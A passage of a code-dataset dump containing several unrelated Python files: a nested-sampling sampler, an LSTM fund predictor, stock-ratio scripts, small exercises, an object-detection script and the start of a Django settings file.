internal state\n \"\"\"\n self.logger.info('Checkpointing Sampler')\n with open(self.resume_file, \"wb\") as f:\n pickle.dump(self, f)\n\n @classmethod\n def resume(cls, resume_file, manager, model):\n \"\"\"\n Resumes the interrupted state from a\n checkpoint pickle file.\n \"\"\"\n with open(resume_file, \"rb\") as f:\n obj = pickle.load(f)\n obj.model = model\n obj.manager = manager\n obj.logLmin = obj.manager.logLmin\n obj.logLmax = obj.manager.logLmax\n obj.logger = logging.getLogger(\"CPNest\")\n obj.producer_pipe , obj.thread_id = obj.manager.connect_producer()\n obj.logger.info('Resuming Sampler from ' + resume_file)\n obj.last_checkpoint_time = time.time()\n return obj\n\n def __getstate__(self):\n state = self.__dict__.copy()\n # Remove the unpicklable entries.\n del state['model']\n del state['logLmin']\n del state['logLmax']\n del state['manager']\n del state['producer_pipe']\n del state['thread_id']\n del state['logger']\n return state\n\n def __setstate__(self, state):\n self.__dict__ = state\n self.manager = None\n\nclass MetropolisHastingsSampler(Sampler):\n \"\"\"\n metropolis-hastings acceptance rule\n for :obj:`cpnest.proposal.EnembleProposal`\n \"\"\"\n def yield_sample(self, logLmin):\n\n while True:\n\n sub_counter = 0\n sub_accepted = 0\n oldparam = self.evolution_points.popleft()\n logp_old = self.model.log_prior(oldparam)\n\n while True:\n\n sub_counter += 1\n newparam = self.proposal.get_sample(oldparam.copy())\n newparam.logP = self.model.log_prior(newparam)\n\n if newparam.logP-logp_old + self.proposal.log_J > log(random()):\n newparam.logL = self.model.log_likelihood(newparam)\n if newparam.logL > logLmin:\n self.logLmax.value = max(self.logLmax.value, newparam.logL)\n oldparam = newparam.copy()\n logp_old = newparam.logP\n sub_accepted+=1\n\n if (sub_counter >= self.Nmcmc and sub_accepted > 0 ) or sub_counter >= self.maxmcmc:\n break\n\n # Put sample back in the stack, unless that sample led to zero accepted points\n self.evolution_points.append(oldparam)\n if np.isfinite(logLmin) and self.verbose >=3:\n self.samples.append(oldparam)\n self.sub_acceptance = float(sub_accepted)/float(sub_counter)\n self.estimate_nmcmc()\n self.mcmc_accepted += sub_accepted\n self.mcmc_counter += sub_counter\n self.acceptance = float(self.mcmc_accepted)/float(self.mcmc_counter)\n # Yield the new sample\n yield (sub_counter, oldparam)\n\nclass HamiltonianMonteCarloSampler(Sampler):\n \"\"\"\n HamiltonianMonteCarlo acceptance rule\n for :obj:`cpnest.proposal.HamiltonianProposal`\n \"\"\"\n def yield_sample(self, logLmin):\n\n global_lmax = self.logLmax.value\n\n while True:\n\n sub_accepted = 0\n sub_counter = 0\n oldparam = self.evolution_points.pop()\n\n while sub_accepted == 0:\n\n sub_counter += 1\n newparam = self.proposal.get_sample(oldparam.copy(), logLmin = logLmin)\n\n if self.proposal.log_J > np.log(random()):\n\n if newparam.logL > logLmin:\n global_lmax = max(global_lmax, newparam.logL)\n oldparam = newparam.copy()\n sub_accepted += 1\n\n self.evolution_points.append(oldparam)\n\n if self.verbose >= 3:\n self.samples.append(oldparam)\n\n self.sub_acceptance = float(sub_accepted)/float(sub_counter)\n self.mcmc_accepted += sub_accepted\n self.mcmc_counter += sub_counter\n self.acceptance = float(self.mcmc_accepted)/float(self.mcmc_counter)\n self.logLmax.value = global_lmax\n\n for p in self.proposal.proposals:\n p.update_time_step(self.acceptance)\n p.update_trajectory_length(self.estimate_nmcmc())\n #print(p.dt,p.L)\n\n yield (sub_counter, oldparam)\n\n def insert_sample(self, p):\n # if we did not accept, inject a new particle in the system (gran-canonical) from the prior\n # by picking one from the existing pool and giving it a random trajectory\n k = np.random.randint(self.evolution_points.maxlen)\n self.evolution_points.rotate(k)\n p = self.evolution_points.pop()\n self.evolution_points.append(p)\n self.evolution_points.rotate(-k)\n return self.proposal.get_sample(p.copy(),logLmin=p.logL)\n","sub_path":"cpnest/sampler.py","file_name":"sampler.py","file_ext":"py","file_size_in_byte":14038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"298020783","text":"import math\r\nfrom datetime import datetime, timedelta, date\r\nimport re\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\nimport seaborn as sns\r\nsns.set_style(\"darkgrid\")\r\nsns.set_context(\"notebook\")\r\n\r\nfrom sklearn import preprocessing\r\nfrom sklearn.metrics import r2_score, mean_squared_error\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom tensorflow.keras import layers\r\n\r\n\r\n\r\nclass FundPredictor:\r\n def __init__(self, funds):\r\n self.funds = funds # historical data of all funds\r\n self.ticker = '' # ticker of the fund to be predicted\r\n self.fund_allfeat = [] # data of the fund (to be precited) with all features\r\n self.fund = [] # data of the fund (to be precited) with predicting features\r\n self.ema = None # x-day exponential moving averages used for prediction (e.g. ema=[20,50])\r\n self.log_form = True # when True, use exponential form of the historical prices\r\n \r\n def get_features(self, ticker, log_form=True, ema=None):\r\n '''\r\n Available time series features (based on daily data):\r\n `diff1`/`diff2`: x-order (absolute) differencing of historical prices\r\n e.g. diff2 = price_t - price_(t-2)\r\n `r`: daily return of the fund\r\n `sindex_r`: market daily return\r\n `r_premium`: market adjusted daily return of the fund\r\n `log_form`: when True, use exponential form of the historical prices\r\n `ema`: x-day exponential moving averages used for prediction\r\n e.g. ema=[20,50] will generate two varables -\r\n `ema20`, the 20-day EMA, and `ema50`, the 50-day EMA\r\n `dist_ema`: the distances between fund price and the fund's x-day EMA on each day\r\n '''\r\n self.ticker = ticker\r\n self.ema = ema\r\n if log_form != self.log_form:\r\n self.log_form = log_form\r\n \r\n fund = pd.DataFrame(self.funds[ticker]).assign(**{\r\n# 'diff1': lambda df: df[ticker].diff(1),\r\n# 'diff2': lambda df: df[ticker].diff(2),\r\n 'r': lambda df: (df[ticker] - df[ticker].shift(1))/df[ticker].shift(1)*100})\r\n\r\n fund = pd.concat([fund, self.funds['sindex_r']], axis=1)\r\n fund['r_premium'] = fund['r'] - fund['sindex_r']\r\n\r\n keep_col = [ticker, 'diff1', 'diff2', 'sindex_r', 'r_premium']\r\n if ema:\r\n for x in ema:\r\n keep_col.append('dist_EMA%s'%x)\r\n# keep_col.append('EMA%s'%x)\r\n fund['EMA%s'%x] = fund[ticker].ewm(span=x, adjust=False).mean()\r\n# fund['dist_EMA%s'%x] = (fund[ticker] - fund['EMA%s'%x])/fund['EMA%s'%x]*100\r\n fund['dist_EMA%s'%x] = fund[ticker] - fund['EMA%s'%x]\r\n\r\n if log_form:\r\n fund['ori_price'] = fund[ticker]\r\n fund[ticker] = fund[ticker].apply(np.log)\r\n\r\n self.fund_allfeat = fund.dropna()\r\n self.fund = fund[[i for i in keep_col if i in fund.columns]].dropna()\r\n\r\n\r\n def draw_histories(self, ticker, ema=None, log_form=True):\r\n if ticker != self.ticker or ema != self.ema or log_form != self.log_form:\r\n self.get_features(ticker, log_form=log_form, ema=ema)\r\n fund = self.fund\r\n \r\n corrmat = fund.corr()\r\n plt.subplots(figsize=(10,5))\r\n sns.heatmap(corrmat, vmax=0.9, square=True)\r\n\r\n fig = plt.figure(figsize=(10,10))\r\n\r\n ax1 = fig.add_subplot(411)\r\n if log_form:\r\n ax1.plot(fund.index[:], fund.iloc[:, 0].apply(np.exp))\r\n else:\r\n ax1.plot(fund.index[:], fund.iloc[:, 0])\r\n ax1.set_ylabel('Price (daily)')\r\n plt.title(fund.columns[0])\r\n\r\n ax2 = fig.add_subplot(412)\r\n ax2.plot(fund.index[:], fund['sindex_r'][:], label='market')\r\n ax2.plot(fund.index[:], fund['r_premium'][:], label='stock(mkt_adjusted)')\r\n ax2.set_ylabel('Return (daily)')\r\n ax2.legend()\r\n\r\n i = 2\r\n for var in ['diff2', 'diff1']:\r\n if var in fund.columns:\r\n i += 1\r\n ax = fig.add_subplot(4,1,i)\r\n ax.plot(fund.index[:], fund[var][:]) \r\n ax.set_ylabel(var)\r\n\r\n if ema:\r\n fig, ax = plt.subplots(figsize=(10,5))\r\n for x in ema:\r\n ax.plot(fund.index[:], fund['dist_EMA%s'%x][:], label='dist_EMA%s'%x)\r\n# ax.plot(fund.index[:], fund['EMA%s'%x][:], label='EMA%s'%x)\r\n ax.legend()\r\n\r\n\r\n def split_data(self, lookback, lookahead, test_size=0.2):\r\n fund = self.fund\r\n \r\n date_ = fund.shape[0] - lookback - lookahead\r\n\r\n X = np.array([fund.iloc[i:i+lookback].values for i in range(date_+1)])\r\n y = np.array([fund.iloc[i+lookback:i+lookback+lookahead].values for i in range(date_+1)])\r\n\r\n X_latest = fund.iloc[date_+lookahead:date_+lookback+lookahead, :].values\r\n X_latest = X_latest.reshape(1, X_latest.shape[0], X_latest.shape[1]) # used to generate future prediction\r\n\r\n dates = np.array([str(i) for i in fund.iloc[lookback:].index])\r\n \r\n k = np.round(len(X)*(1-test_size)).astype(int)\r\n X_train = X[:k,:,:]\r\n X_test = X[k:,:,:]\r\n y_train = y[:k,:,0]\r\n y_test = y[k:,:,0]\r\n\r\n return [X_train, X_test, y_train, y_test, dates[k:], X_latest]\r\n\r\n\r\n def lstm_model(self, lookback, lookahead, in_feat, dropout=0.2, lr=0.0005):\r\n model = keras.Sequential()\r\n\r\n model.add(layers.LSTM(256, input_shape=(lookback, in_feat), return_sequences=True))\r\n model.add(layers.Dropout(dropout))\r\n\r\n model.add(layers.LSTM(256, input_shape=(lookback, in_feat), return_sequences=False))\r\n model.add(layers.Dropout(dropout))\r\n\r\n model.add(layers.Dense(32, activation='relu')) \r\n model.add(layers.Dense(lookahead, activation='linear'))\r\n\r\n adam = keras.optimizers.Adam(lr=lr)\r\n \r\n model.compile(loss='mse', optimizer=adam, metrics=['accuracy'])\r\n return model\r\n\r\n\r\n def predict_score(self, model, X_train, y_train, X_test, y_test, X_latest):\r\n y_pred = model.predict(X_test)\r\n new_pred = model.predict(X_latest)\r\n \r\n trainScore = model.evaluate(X_train, y_train, verbose=0)[0]\r\n testScore = model.evaluate(X_test, y_test, verbose=0)[0] \r\n \r\n r2 = r2_score(y_test, y_pred)\r\n \r\n if self.log_form:\r\n y_pred = np.exp(y_pred)\r\n new_pred = np.exp(new_pred)\r\n\r\n return trainScore, testScore, r2, y_pred, new_pred\r\n\r\n\r\n def get_prediction(self, ticker, windows, log_form=True, model_type='lstm',\r\n epochs=90, batches=300, dropout=0.2, lr=0.0005,\r\n ema=None, callbacks=None, verbose=True, show_history=False):\r\n '''\r\n ** Main function **\r\n Get one single prediction per window, with respect to the hyperparameters provided.\r\n 【Parameters】\r\n `windows`: periods for predicting and periods to be predicted.\r\n Must be a list of two-obj lists, each containing a lookback period and a lookahead period.\r\n i.e. [[lookback1, lookahead1], [lookback2, lookahead2],...]\r\n `model_type`: 'lstm' with hyperparameters `epochs`, `batches`, `lr`, `dropout`, `callbacks`\r\n more to come in the future\r\n `verbose`: if True, print and graph the predicted results\r\n `show_history`: if True, graph the training history\r\n 【Returns】\r\n `self.preds`: a list of dicts, each presented in the following form -\r\n {'window': prediction window,\r\n 'data': the return values of function `split_data()`,\r\n 'pred': the return values of function `predict_score()`,\r\n 'model': prediction model,\r\n 'history': training history}\r\n '''\r\n if ticker != self.ticker or ema != self.ema:\r\n self.get_features(ticker, ema=ema, log_form=log_form)\r\n fund = self.fund\r\n\r\n try:\r\n windows[0][0]\r\n except TypeError:\r\n windows = [windows] # in case of single model\r\n\r\n self.preds = []\r\n for window in windows:\r\n lookback, lookahead = window \r\n\r\n data = self.split_data(lookback, lookahead)\r\n \r\n X_train, X_test, y_train, y_test, date_test, X_latest = data\r\n len_ = int(X_train.shape[0]*0.8)\r\n X_tr = X_train[:len_].copy()\r\n y_tr = y_train[:len_].copy()\r\n X_valid = X_train[len_:].copy()\r\n y_valid = y_train[len_:].copy()\r\n \r\n if model_type == 'lstm':\r\n model = self.lstm_model(lookback, lookahead, X_train.shape[-1], dropout=dropout, lr=lr)\r\n\r\n train_history = model.fit(X_tr, y_tr, \r\n epochs=epochs, batch_size=batches,\r\n callbacks=callbacks, verbose=0,\r\n validation_data=(X_valid, y_valid))\r\n \r\n pred = self.predict_score(model, X_train, y_train, X_test, y_test, X_latest)\r\n self.preds.append({'window':window, 'data':data, 'pred':pred,\r\n 'model':model, 'history':train_history})\r\n\r\n if verbose:\r\n self.allow_verbosity(model_type=model_type)\r\n if show_history:\r\n self.show_history()\r\n return self.preds\r\n \r\n \r\n def ensemble_prediction(self, ticker, ema_basket, dropout_basket, pred_params, verbose=True, show_history=False):\r\n '''\r\n ** Main Function **\r\n Get one ensemble prediction per window, with fine-tuned hyperparameters and stacked models.\r\n Stacking strategy: averaging up to 3 predictions with the best R-squared scores.\r\n\r\n 【Parameters】\r\n `ema_basket`: a list of `ema` options used for fine-tuning.\r\n `dropout_basket`: a list of `dropout` options used for fine-tuning.\r\n `pred_params`: a dict containing other parameters for function `get_prediction()`.\r\n 【Returns】\r\n `fine_tuning`: a dict of subdicts, each subdict corresponding to a model with specific window.\r\n e.g. model_name == 'pred(50, 1)', meaning 50-day lookback, 1-day lookahead.\r\n {model_name:{'r2': [r2_tuning_1, r2_tuning_2, ...],\r\n 'preds': [y_pred_tuning_1, y_pred_tuning_2, ...],\r\n 'newpreds': [future_pred_tuning_1, future_pred_tuning_2, ...],\r\n 'stacked': [stacked_y_pred, stacked_future_pred] }}\r\n For keys 'r2', 'preds' and 'newpreds', the length of their correpsonding values\r\n should be (len(ema_basket)*len(dropout_basket)).\r\n '''\r\n self.fine_tuning = {}\r\n self.hypers = []\r\n for ema in ema_basket:\r\n for dropout in dropout_basket:\r\n self.hypers.append({'ema':ema, 'dropout':dropout})\r\n predicted = predictor.get_prediction(ticker, verbose=False,\r\n ema=ema, dropout=dropout, **pred_params)\r\n for i in range(len(predicted)):\r\n model_name = '(%s,%s)'% (predicted[i]['window'][0], predicted[i]['window'][1])\r\n if model_name not in self.fine_tuning:\r\n self.fine_tuning[model_name] = {'r2':[], 'preds':[], 'newpreds':[], 'histories':[], 'models':[]}\r\n \r\n self.fine_tuning[model_name]['r2'].append(predicted[i]['pred'][2])\r\n self.fine_tuning[model_name]['preds'].append(predicted[i]['pred'][-2])\r\n self.fine_tuning[model_name]['newpreds'].append(predicted[i]['pred'][-1])\r\n self.fine_tuning[model_name]['histories'].append(predicted[i]['history'])\r\n self.fine_tuning[model_name]['models'].append(predicted[i]['model'])\r\n \r\n # stacking models\r\n keys = [k for k in self.fine_tuning.keys()]\r\n for i in range(len(keys)):\r\n model = self.fine_tuning[keys[i]]\r\n model['stacked'] = {'hypers':[]}\r\n \r\n pred_sorted = np.array(model['r2']).argsort() # returns the indices that would sort the array\r\n model['stacked']['hypers'].append(self.hypers[pred_sorted[-1]])\r\n \r\n if model['r2'][pred_sorted[-1]] - model['r2'][pred_sorted[-2]] <= 0.03:\r\n model['stacked']['hypers'].append(self.hypers[pred_sorted[-2]])\r\n y_pred = np.average([model['preds'][pred_sorted[-1]], model['preds'][pred_sorted[-2]]], axis=0)\r\n fut_pred = np.average([model['newpreds'][pred_sorted[-1]], model['newpreds'][pred_sorted[-2]]], axis=0)\r\n \r\n if len(pred_sorted) > 3 and model['r2'][pred_sorted[-2]] - model['r2'][pred_sorted[-3]] <= 0.01:\r\n model['stacked']['hypers'].append(self.hypers[pred_sorted[-3]])\r\n y_pred = np.average([y_pred, model['preds'][pred_sorted[-3]]], axis=0, weights=[2/3,1/3])\r\n fut_pred = np.average([fut_pred, model['newpreds'][pred_sorted[-3]]], axis=0, weights=[2/3,1/3])\r\n\r\n else:\r\n y_pred = model['preds'][pred_sorted[-1]]\r\n fut_pred = model['newpreds'][pred_sorted[-1]]\r\n \r\n model['stacked']['preds'] = y_pred\r\n model['stacked']['newpreds'] = fut_pred\r\n \r\n if verbose:\r\n self.allow_verbosity(fine_tuning=True)\r\n if show_history:\r\n self.show_history(fine_tuning=True)\r\n return self.fine_tuning\r\n\r\n \r\n def allow_verbosity(self, model_type='lstm', fine_tuning=False, show_period=120):\r\n \r\n fig, ax = plt.subplots(figsize=(16,5))\r\n y = []\r\n date = []\r\n future = []\r\n for i, pred in enumerate(self.preds):\r\n y_test = pred['data'][3]\r\n date_test = pred['data'][4]\r\n# last_date = datetime.strptime(date_test[-1],'%Y-%m-%d')\r\n# future_dates = [(last_date + timedelta(days=x+1)).strftime('%Y-%m-%d') for x in range(pred['window'][1])]\r\n future_dates = ['T + %s'% (x+1) for x in range(pred['window'][1])]\r\n date_test_fut = list(date_test[-show_period:]) + future_dates\r\n \r\n if self.log_form:\r\n y_test = np.exp(y_test)\r\n if len(y_test) > len(y):\r\n y = y_test\r\n date = date_test\r\n if len(future_dates) > len(future):\r\n future = future_dates\r\n\r\n print('='*15, '%s: Model (%s, %s)'% (self.ticker, pred['window'][0], pred['window'][1]),'='*15)\r\n print('Train Size:', pred['data'][0].shape, pred['data'][1].shape)\r\n print('Test Size:', pred['data'][2].shape, pred['data'][3].shape)\r\n print('Size of Data for Future Prediction:', pred['data'][-1].shape)\r\n \r\n \r\n if fine_tuning: # when called by ensemble_prediction()\r\n keys = [k for k in self.fine_tuning.keys()]\r\n stacked_preds = self.fine_tuning[keys[i]]['stacked']\r\n \r\n r2_ensemble = r2_score(y_test, stacked_preds['preds'])\r\n \r\n print('Selected Hyperparameters:', stacked_preds['hypers'])\r\n print('R-Squared (ensemble): %.4f' % r2_ensemble)\r\n print('Future Prediction: %s' % [round(float(x),4) for x in stacked_preds['newpreds'][0]])\r\n \r\n pred_prices = [p[-1] for p in stacked_preds['preds']]\r\n pred_prices = pred_prices[-show_period:] + list(stacked_preds['newpreds'][0])\r\n ax.plot(date_test_fut, pred_prices, label='Ensemble '+keys[i])\r\n\r\n else: # when called by get_prediction()\r\n\r\n if model_type == 'lstm':\r\n print('Stopped at epoch: %s' % pred['history'].epoch[-1])\r\n print('Train Score: %.5f MSE (%.2f RMSE)' % (pred['pred'][0], math.sqrt(pred['pred'][0])))\r\n print('Test Score: %.5f MSE (%.2f RMSE)' % (pred['pred'][1], math.sqrt(pred['pred'][1])))\r\n\r\n print('R-Squared: %.4f' % pred['pred'][2])\r\n print('Future Prediction: %s' % [round(float(i),4) for i in pred['pred'][-1][0]])\r\n \r\n pred_prices = [p[-1] for p in pred['pred'][-2]]\r\n pred_prices = pred_prices[-show_period:] + list(pred['pred'][-1][0])\r\n ax.plot(date_test_fut, pred_prices,\r\n label='Model (%s,%s)'% (pred['window'][0], pred['window'][1]))\r\n \r\n ax.plot(date[-show_period:], y[-show_period:], label='Actual')\r\n all_dates = list(date)[-show_period:] + future\r\n plt.xticks(range(0,len(all_dates),2), all_dates[::2], rotation=90)\r\n ax.vlines(date_test[-1], y[-show_period:].min()-0.01, y[-show_period:].max()+0.01,\r\n linestyles='dashed', colors='tab:pink')\r\n txt = 'Note: For Model (b,a), the plotted value of any past date indicates the \\\r\nprice prediction for that day using historical quotes from (t-b-a) to (t-a).\\n\\\r\nThe plotted values for future dates (T+1,...) are `a`-day consecutive forecast(s) from the lastest predicting period \\\r\n(i.e. from (T-b-a) to (T-a), where T is the last historical date).'\r\n fig.text(.1, -.15, txt, ha='left')\r\n plt.ylabel(self.ticker)\r\n plt.legend()\r\n plt.show()\r\n \r\n \r\n def show_history(self, fine_tuning=False):\r\n if fine_tuning:\r\n keys = [k for k in self.fine_tuning.keys()]\r\n fig = plt.figure(figsize=(3*len(self.hypers), 2*len(keys)))\r\n j = 0\r\n for key in keys:\r\n for history in self.fine_tuning[key]['histories']:\r\n ax = fig.add_subplot(len(keys), len(self.hypers), j+1)\r\n fig.tight_layout()\r\n ax.plot(history.history['loss'])\r\n ax.plot(history.history['val_loss'])\r\n if j < len(self.hypers):\r\n plt.title('EMA: {}, Dropout: {}'.format(self.hypers[j]['ema'], self.hypers[j]['dropout']))\r\n if j % len(self.hypers) == 0:\r\n plt.ylabel('Model '+key)\r\n if j >= len(self.hypers)*(len(keys)-1):\r\n plt.xlabel('epoch')\r\n plt.legend(['train loss', 'val loss'], loc='upper right')\r\n j += 1\r\n else:\r\n fig = plt.figure(figsize=(4*len(self.preds), 3))\r\n for j,pred in enumerate(self.preds):\r\n ax = fig.add_subplot(1, len(self.preds), j+1)\r\n fig.tight_layout()\r\n ax.plot(pred['history'].history['loss'])\r\n ax.plot(pred['history'].history['val_loss'])\r\n plt.xlabel('epoch')\r\n plt.title(f'Model (%s,%s)'% (pred['window'][0], pred['window'][1]))\r\n plt.legend(['train loss', 'val loss'], loc='upper right')\r\n plt.show()","sub_path":"ZFundPredictor.py","file_name":"ZFundPredictor.py","file_ext":"py","file_size_in_byte":19672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"534157624","text":"# Exercise 14\n# Write a program (function!) that takes a list and returns a new list that contains all the elements of the first list minus all the duplicates.\n\na = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89]\n\n\ndef list_no_dupes(x):\n y = []\n for num in x:\n if num not in y:\n y.append(num)\n return y\n\n\ndef list_no_dupes_v2(x):\n return list(set(x))\n\n\nprint(list_no_dupes(a))\nprint(list_no_dupes_v2(a))\n","sub_path":"x14. List Remove Duplicates/exercise14.py","file_name":"exercise14.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"157202823","text":"#This is the library that we're using for the object detection. It was created by deepquest AI.\r\nfrom imageai.Detection import VideoObjectDetection\r\nimport os\r\n\r\n#The following line of code returns a working directory for the actual folder of the file.\r\nexecution_path = os.getcwd()\r\n\r\n#Initialize the detector.\r\ndetector = VideoObjectDetection()\r\n\r\n#This sets the initial object detection model instance to the pre trained \"RetinaNet\" model. \r\ndetector.setModelTypeAsRetinaNet()\r\n\r\n#Set the model path of the model file we downloaded (the resnet model that uses the COCO database).\r\ndetector.setModelPath(os.path.join(execution_path , \"resnet50_coco_best_v2.0.1.h5\"))\r\n\r\n#Load the model to begin processing.\r\ndetector.loadModel()\r\n\r\n# This takes each frame from the video and detects each object inside of the frame.\r\n#After doing so, it parses the images together in to an output video at 20 frames per second. The output file is in AVI.\r\n#Note: It takes the input file and stores the output file in the same folder.\r\npath = detector.detectObjectsFromVideo(input_file_path=os.path.join(execution_path, \"waste.mp4\"),\r\n output_file_path=os.path.join(execution_path, \"Detected_Output\")\r\n , frames_per_second=20, log_progress=False)\r\n\r\n#For me to make sure the model goes into the right folder.\r\nprint(path)\r\n","sub_path":"Video_Detection.py","file_name":"Video_Detection.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"372202746","text":"import csv\nimport re\nimport pandas\nfrom statistics import mean\nRANGE = 5 #years\n\n\n\naverage_df = pandas.read_csv('s&p500_growth_by_year.csv')\naverage_df.set_index('year', inplace=True, drop=True)\n\n\ndef averageReturn(startyear, endyear):\n print(startyear)\n\n market_change = 1\n for year in range(startyear, endyear):\n percent_change = average_df.loc[year]['annual_change']\n market_change *= (1 + (percent_change / 100))\n return market_change\n\n\ndef calculateHistoricalData(company_code, startyear, endyear):\n returnRow = []\n fileName = 'historical/s&p500_historical_' + company_code + '.csv'\n with open(fileName, newline='\\n') as csvhistfile:\n previousPrice = 0\n histreader = csv.reader(csvhistfile, delimiter=',')\n startPrice = 0\n endPrice = 0\n startPE = 0\n startFCF = 0\n startPB = 0\n startPS = 0\n #pattern_year_before = re.compile(str(startyear-1) + '-1[0-2]-\\d\\d')\n #found_year_before = False\n pattern_start = re.compile(str(startyear-1) + '-1[0-2]-\\d\\d')\n found_start = False\n pattern_end = re.compile(str(endyear-1) + '-1[0-2]-\\d\\d')\n found_end = False\n for histrow in histreader:\n #if re.match(pattern_year_before, histrow[0]) and not found_year_before:\n # previousPrice = histrow[1]\n\n if re.match(pattern_start, histrow[0]) and not found_start:\n print(histrow[0])\n startPrice = histrow[1]\n startPE = histrow[2]\n startFCF = histrow[3]\n startPB = histrow[4]\n startPS = histrow[5]\n #print(histrow)\n found_start = True\n if re.match(pattern_end, histrow[0]) and not found_end:\n print(histrow[0])\n endPrice = histrow[1]\n found_end = True\n try:\n priceratio = (float(endPrice) / float(startPrice))\n print(priceratio)\n #previousRatio = ((float(startPrice) / float(previousPrice)) / averageReturn(startyear, endyear))*100\n #normalize by the overall change in s&p500 in given 5 year stretch\n priceratio_normalized = (priceratio / averageReturn(startyear, endyear))*100\n if priceratio == 0:\n return None\n print(priceratio_normalized)\n returnRow.append(priceratio_normalized)\n #returnRow.append(previousRatio)\n except ZeroDivisionError:\n return None\n\n returnRow.append(float(startPE))#/average_df.at[startyear, 'initialPE'])\n returnRow.append(float(startFCF))#/average_df.at[startyear, 'initialFCF'])\n returnRow.append(float(startPB))#/average_df.at[startyear, 'initialPB'])\n returnRow.append(float(startPS))#/average_df.at[startyear, 'initialPS'])\n print(returnRow)\n return returnRow\n\ndef sendToOutput(peData):\n with open('yearlys&p/'+str(RANGE)+'_year/s&p500_pe_stock_nonratio_'+str(yearConst)+'.csv', 'a', newline='\\n') as outputAppendCsv:\n outputWriter = csv.writer(outputAppendCsv, delimiter=\",\")\n outputWriter.writerow(peData)\n\nfor rangeConst in range(1, 6):\n RANGE = rangeConst\n for yearConst in range(2007, 2022-RANGE):\n with open('s&p500_name_code.csv', newline='\\n') as csvfile:\n reader = csv.reader(csvfile, delimiter=\",\")\n i = 0\n with open('yearlys&p/'+str(RANGE)+'_year/s&p500_pe_stock_nonratio_'+str(yearConst)+'.csv', 'w', newline='\\n') as outputCsv:\n writer = csv.writer(outputCsv, delimiter=\",\")\n writer.writerow(['code', 'industry', 'stockratio', 'initialPE', 'initialFCF', 'initialPB', 'initialPS'])\n for row in reader:\n if i == 0:\n i +=1\n continue\n code = row[0]\n print(code)\n\n for year in range(yearConst, yearConst+1):\n data = []\n data.append(code)\n data.append(row[2])\n histData = calculateHistoricalData(code, year, year + RANGE)\n if histData == None:\n print(\"skip due to not correct data\")\n continue\n\n data.append(float(histData[0]))\n data.append(histData[1])\n data.append(histData[2])\n data.append(histData[3])\n data.append(histData[4])\n #data.append(histData[5])\n print(data)\n sendToOutput(data)\n\n\n\n\n","sub_path":"per_year_non_ratio_creator.py","file_name":"per_year_non_ratio_creator.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"70686646","text":"balance = 42\nannualInterestRate = 0.2\n# balance = 320000\n# annualInterestRate = 0.2\n\noriginalBalance = balance\nmonth = 1\nmonthly_interest = annualInterestRate / 12\nlow = originalBalance/12\nhigh = (originalBalance*(1 + monthly_interest)**12)/12\nepsilon = 0.01\nmin_payment = (high + low)/2.0\n\nwhile min_payment*12 - originalBalance > epsilon:\n month = 1 # < -- do this\n while month < 13:\n balance = (originalBalance - min_payment)/10 * (1 + monthly_interest)\n if balance < 0.00:\n low = min_payment\n min_payment = (high + low)/2.0\n elif balance > 0.00:\n high = min_payment\n min_payment = (high + low)/2.0\n month += 1\n#print \"Lowest payment: \" + str(round(min_payment, 2))\nprint(\" Lowest Payment:\", min_payment)\n#print('Lowest Payment: '.format(round(mmp, 2)))\n","sub_path":"week_2/test_problem_2.py","file_name":"test_problem_2.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"634835471","text":"import cv2\n\nimg = cv2.imread(\"coins.jpg\")\n\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\nret, thresh = cv2.threshold(gray, 150, 255, cv2.THRESH_BINARY_INV)\n\ncv2.imshow(\"thresholded\", thresh)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","sub_path":"OpenCV/thresh_basic.py","file_name":"thresh_basic.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"338225122","text":"\"\"\"\nDjango settings for <%= siteName %>.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.6/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.6/ref/settings/\n\nList of environment variables available:\n\nENV - the active environment\n\nDEBUG - 1 or 0\nTEMPLATE_DEBUG - 1 or 0\n\nPUBLIC_DIR - the directory that holds publicly accessible files,\n expected subdirs are \"media\" and \"static\"\n if you want another setup, manually alter MEDIA_ROOT and STATIC_ROOT\nDATA_DIR\n\nSECRET_KEY - the secret key\nDB_ENGINE - the DB engine for the default DB\nDB_NAME - the DB name for the default DB\n\nADMINS - the site admins, specify like this: ADMINS=\"admin1,admin 1@domain.com;admin 2,admin2@domain.com\"\n (seperate admins with ; and name from email with ,)\n\nINTERNAL_IPS - separate by SPACE, like: INTERNAL_IPS=\"127.0.0.1 123.123.123.123\"\n\nEMAIL_BACKEND\nEMAIL_HOST\nEMAIL_PORT\nEMAIL_HOST_USER\nEMAIL_HOST_PASSWORD\nEMAIL_USE_TLS\n\n\nTo handle other variables via env, just define them like this:\n\nVAR_NAME = os.environ.get('ENV_VAR_NAME', 'default_value')\n\"\"\"\n\nimport os\nimport warnings\n\n# Disable naive datetime warnings for naive datetime in iPython.\n#import exceptions\n#warnings.filterwarnings(\"ignore\", category=exceptions.RuntimeWarning, module='django.db.backends.sqlite3.base', lineno=53)\n#warnings.filterwarnings(\"ignore\", category=exceptions.RuntimeWarning, module='django.db.models.fields', lineno=903)\n\n################################################################################\n### Application settings #######################################################\n################################################################################\n\n# Name \nSITE_NAME = \"<%= siteName %>\"\n\n# Main host/domain name for this project.\nHOST = \"<%= siteHost %>\"\n\nROOT_DIR = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))))\n\n# Build paths inside the 